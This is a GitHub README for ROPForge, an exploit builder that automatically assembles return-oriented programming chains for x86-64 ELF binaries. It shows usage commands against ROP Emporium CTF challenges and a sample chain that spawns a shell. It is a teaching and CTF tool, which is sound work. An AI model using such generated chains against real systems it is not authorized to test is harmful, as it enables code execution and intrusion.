Skip to content

Repository files navigation

ROPForge

An auto-chaining ROP (Return-Oriented Programming) exploit builder for x86-64 ELF, written in Rust.

Point it at a no-PIE ELF and it finds gadgets, reasons about what each one does, and auto-assembles a working execve("/bin/sh") ROP chain — the part where ropper/ROPgadget stop and you normally start puzzling by hand.

⚠️ A CTF / exploit-dev learning tool. Use it only on binaries you own or are authorized to test. Ships with an intentionally-vulnerable demo binary only.

What it does

ELF ──▶ [load] ──▶ [find + classify gadgets] ──▶ [solve] ──▶ [emit]
        goblin      iced-x86, by semantic effect   register    listing / raw /
                                                    solver      pwntools
  • Semantic gadget catalog — gadgets are indexed by effect (pop rdi, multi-pop, write-what-where, syscall, …), not by text.
  • Register solver — finds and orders a gadget sequence to set argument registers, preferring xor for null-free zeros, using multi-pop gadgets when single pops are absent.
  • Automatic string sourcing — reuses an existing string, or synthesizes a write-what-where sub-chain to plant it in writable memory.
  • Goals: execve (syscall), call (function + register/string args, call sequences), system (via the PLT), ret2csu (__libc_csu_init for args with no direct pop), pivot (two-stage stack pivot with a runtime-leaked buffer + GOT-based function resolution), fluff (byte-by-byte string build via xlatb/stosb/bextr when there is no write-what-where), with symbol + PLT resolution.
  • --badchars — avoid forbidden bytes in gadget addresses and stack values.

Build

Needs Rust (any recent stable). Then:

cargo build
cargo test

Try it

cargo run --example gen_fixture                     # write 3 demo ELFs to fixtures/
cargo run -- fixtures/demo.elf                      # execve, reuses an existing "/bin/sh" string
cargo run -- fixtures/demo_write.elf                # no string -> solver plants it (write-what-where)
cargo run -- fixtures/demo.elf --format pwntools    # paste-ready payload
cargo run -- fixtures/demo.elf --list               # dump all gadgets

On real targets — solves all 8 ROP Emporium x86-64 challenges, all execution-verified (each prints its ROPE{...} flag; see verify/):

cargo run -- ret2win  --goal call    --func ret2win --align                # call a function
cargo run -- split    --goal system  --cmd "/bin/cat flag.txt" --align     # system() via PLT
cargo run -- callme   --goal call    --func callme_one,callme_two,callme_three --args 0xdeadbeefdeadbeef,0xcafebabecafebabe,0xd00df00dd00df00d
cargo run -- write4   --goal call    --func print_file --arg-str "flag.txt" # write string, then call
cargo run -- ret2csu  --goal ret2csu --func ret2win --align --args 0xdeadbeefdeadbeef,0xcafebabecafebabe,0xd00df00dd00df00d
cargo run -- badchars --goal call    --func print_file --arg-str "flag.txt" --badchars 78,67,61,2e --align  # XOR-encode past bad bytes
cargo run -- pivot    --goal pivot   --func ret2win --lib libpivot.so       # two-stage stack pivot
cargo run -- fluff    --goal fluff   --func print_file --arg-str flag.txt   # build string via xlatb/stosb/bextr

--align prepends a ret gadget to keep the stack 16-byte aligned for libc calls (the movaps crash). pivot emits two payloads and (via --format pwntools) a full interactive exploit that leaks the buffer, plants stage 2, then pivots onto it. fluff has no write-what-where and no pop rdi: it builds the filename one byte at a time (bextr sets rbx, xlatb loads al = [rbx+al], stosb writes it) and sources rdi from __libc_csu_init — the solver computes the whole per-byte al schedule.

Example output:

  0x0000000000400078  ; pop rdi; ret
  0x0000000000400082  ;     rdi = 0x400082
  0x000000000040007a  ; pop rsi; ret
  0x0000000000000000  ;     rsi = 0x0
  ...
  0x0000000000400080  ; syscall

Testing

Chains are validated by an in-process simulator (src/sim.rs) that steps through the chain over a modelled stack/registers/memory and asserts it reaches execve("/bin/sh", 0, 0) — deterministic and cross-platform, no ELF execution needed.

Scope (v1)

x86-64 ELF, no-PIE. Goals: execve, call, system, ret2csu, pivot, fluff (the full ROP Emporium x86-64 set, 8/8 execution-verified). Roadmap: 32-bit, ARM64, PE, PIE/ASLR, and a broadened evaluation vs. angrop/ropper.

License

MIT

Releases

Packages

Contributors

Languages